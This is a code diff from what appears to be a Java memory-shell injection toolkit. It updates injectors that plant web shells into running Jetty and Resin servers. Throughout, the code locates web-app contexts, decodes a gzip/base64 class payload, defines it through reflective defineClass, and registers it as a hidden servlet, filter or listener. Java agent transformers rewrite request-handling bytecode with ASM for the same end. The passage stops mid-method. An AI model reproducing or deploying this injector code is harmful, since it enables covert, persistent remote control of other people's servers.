return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+8
-17
@@ -21,9 +21,9 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
|
||||
"org/eclipse/jetty/ee8/servlet/ServletHandler",
|
||||
"org/eclipse/jetty/ee9/servlet/ServletHandler",
|
||||
"org/eclipse/jetty/ee10/servlet/ServletHandler$Chain",
|
||||
"org/eclipse/jetty/ee11/servlet/ServletHandler$Chain",
|
||||
"org/mortbay/jetty/servlet/ServletHandler"
|
||||
);
|
||||
private static String targetMethodName = "doHandle";
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
@@ -48,14 +48,7 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
|
||||
String name = allLoadedClass.getName();
|
||||
for (String targetClass : TARGET_CLASSES) {
|
||||
if (targetClass.replace("/", ".").equals(name)) {
|
||||
if (name.contains("mortbay")) {
|
||||
targetMethodName = "handle";
|
||||
}
|
||||
if (name.contains("ee10")) {
|
||||
targetMethodName = "doFilter";
|
||||
}
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at " + name + "." + targetMethodName);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -66,10 +59,11 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASSES.contains(className)) {
|
||||
String targetMethodName = "";
|
||||
if (className.contains("mortbay")) {
|
||||
targetMethodName = "handle";
|
||||
}
|
||||
if (className.contains("ee10")) {
|
||||
if (className.contains("ee10") || className.contains("ee11")) {
|
||||
targetMethodName = "doFilter";
|
||||
}
|
||||
defineTargetClass(loader);
|
||||
@@ -81,8 +75,9 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
ClassVisitor cv = getClassVisitor(cw, targetMethodName);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + className.replace("/", ".") + "." + targetMethodName);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
@@ -92,19 +87,15 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv, String targetMethodName) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (targetMethodName.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
|
||||
+68
-29
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.jetty;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
@@ -14,22 +15,49 @@ import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* tested v7、v8、v9
|
||||
*
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class JettyListenerInjector {
|
||||
|
||||
private String msg = "";
|
||||
|
||||
public JettyListenerInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getShell(context);
|
||||
inject(context, listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath");
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
@@ -80,30 +108,21 @@ public class JettyListenerInjector {
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
public static void inject(Object context, Object listener) throws Exception {
|
||||
if (isInjected(context, listener.getClass().getName())) {
|
||||
System.out.println("listener is already injected");
|
||||
return;
|
||||
}
|
||||
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
||||
System.out.println("listener added successfully");
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public static boolean isInjected(Object context, String className) throws Exception {
|
||||
// jetty v8、 v9
|
||||
public void inject(Object context, Object listener) throws Exception {
|
||||
Object object = invokeMethod(context, "getEventListeners");
|
||||
Object[] eventListeners = new Object[0];
|
||||
if (object instanceof List) {
|
||||
@@ -112,11 +131,16 @@ public class JettyListenerInjector {
|
||||
eventListeners = (Object[]) object;
|
||||
}
|
||||
for (Object eventListener : eventListeners) {
|
||||
if (eventListener.getClass().getName().contains(className)) {
|
||||
return true;
|
||||
if (eventListener.getClass().getName().contains(getClassName())) {
|
||||
return ;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -165,7 +189,7 @@ public class JettyListenerInjector {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
@@ -199,4 +223,19 @@ public class JettyListenerInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+68
-19
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.jetty;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.*;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
@@ -15,17 +16,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class JettyServletInjector {
|
||||
|
||||
public JettyServletInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object servlet = getShell(context);
|
||||
inject(context, servlet);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -39,6 +30,45 @@ public class JettyServletInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public JettyServletInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath");
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public Class<?> getServletClass(ClassLoader classLoader) throws ClassNotFoundException {
|
||||
try {
|
||||
return classLoader.loadClass("javax.servlet.Servlet");
|
||||
@@ -87,32 +117,33 @@ public class JettyServletInjector {
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
public void inject(Object context, Object servlet) throws Exception {
|
||||
Object servletHandler = getFieldValue(context, "_servletHandler");
|
||||
|
||||
if (invokeMethod(servletHandler, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
System.out.println("servlet is already injected");
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
String[] classNames = new String[]{
|
||||
"org.eclipse.jetty.servlet.ServletHolder",
|
||||
"org.eclipse.jetty.ee8.servlet.ServletHolder",
|
||||
"org.eclipse.jetty.ee9.servlet.ServletHolder",
|
||||
"org.eclipse.jetty.ee10.servlet.ServletHolder",
|
||||
"org.eclipse.jetty.ee11.servlet.ServletHolder",
|
||||
"org.mortbay.jetty.servlet.ServletHolder",
|
||||
};
|
||||
|
||||
@@ -137,9 +168,12 @@ public class JettyServletInjector {
|
||||
invokeMethod(servletHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
invokeMethod(servletHandler, "addServlet", new Class[]{servletHolderClass}, new Object[]{servletHolder});
|
||||
invokeMethod(servletHandler, "addServletWithMapping", new Class[]{servletHolderClass, String.class}, new Object[]{servletHolder, getUrlPattern()});
|
||||
System.out.println("servlet inject successful");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
@@ -186,7 +220,7 @@ public class JettyServletInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
@@ -220,4 +254,19 @@ public class JettyServletInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+3
-7
@@ -42,7 +42,6 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter");
|
||||
}
|
||||
|
||||
@Override
|
||||
@@ -61,6 +60,7 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
@@ -77,12 +77,8 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
|
||||
+70
-28
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.resin;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
@@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class ResinFilterInjector {
|
||||
|
||||
public ResinFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getShell(context);
|
||||
inject(context, filter);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -37,6 +28,45 @@ public class ResinFilterInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public ResinFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
/**
|
||||
* com.caucho.server.webapp.Application
|
||||
* /usr/local/resin3/lib/resin.jar
|
||||
@@ -71,21 +101,25 @@ public class ResinFilterInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
private void inject(Object context, Object filter) throws Exception {
|
||||
if (isInjected(context)) {
|
||||
System.out.println("filter already injected");
|
||||
return;
|
||||
Map<String, Object> filters = (Map) getFieldValue(getFieldValue(context, "_filterManager"), "_filters");
|
||||
for (String key : filters.keySet()) {
|
||||
if (key.contains(getClassName())) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
Class<?> filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
|
||||
Object filterMappingImpl = filterMappingClass.newInstance();
|
||||
@@ -96,18 +130,11 @@ public class ResinFilterInjector {
|
||||
invokeMethod(urlPattern, "init", null, null);
|
||||
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
|
||||
invokeMethod(context, "clearCache", null, null);
|
||||
System.out.println("filter injected");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object context) throws Exception {
|
||||
Map<String, Object> filters = (Map) getFieldValue(getFieldValue(context, "_filterManager"), "_filters");
|
||||
for (String key : filters.keySet()) {
|
||||
if (key.contains(getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -155,7 +182,7 @@ public class ResinFilterInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -184,4 +211,19 @@ public class ResinFilterInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+67
-17
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.resin;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Arrays;
|
||||
@@ -16,17 +17,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class ResinListenerInjector {
|
||||
|
||||
public ResinListenerInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getShell(context);
|
||||
inject(context, listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -36,6 +27,45 @@ public class ResinListenerInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public ResinListenerInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
@@ -66,29 +96,34 @@ public class ResinListenerInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
private void inject(Object context, Object listener) throws Exception {
|
||||
List<Object> listeners = (List<Object>) getFieldValue(context, "_requestListeners");
|
||||
for (Object o : listeners) {
|
||||
if (o.getClass().getName().contains(getClassName())) {
|
||||
System.out.println("listener already injected");
|
||||
return;
|
||||
}
|
||||
}
|
||||
invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true});
|
||||
// 清除缓存,否则某些 uri 无法连接
|
||||
invokeMethod(context, "clearCache", null, null);
|
||||
System.out.println("listener injected successfully");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -136,7 +171,7 @@ public class ResinListenerInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -165,4 +200,19 @@ public class ResinListenerInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+70
-28
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.resin;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
@@ -14,17 +15,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class ResinServletInjector {
|
||||
|
||||
public ResinServletInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object servlet = getShell(context);
|
||||
inject(context, servlet);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -38,6 +29,45 @@ public class ResinServletInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public ResinServletInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += "context: [" + getContextRoot(context) + "] ";
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
@@ -64,21 +94,25 @@ public class ResinServletInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
private void inject(Object context, Object servlet) throws Exception {
|
||||
if (isInjected(context)) {
|
||||
System.out.println("servlet already injected");
|
||||
return;
|
||||
Map<String, Object> servlets = (Map) getFieldValue(getFieldValue(context, "_servletManager"), "_servlets");
|
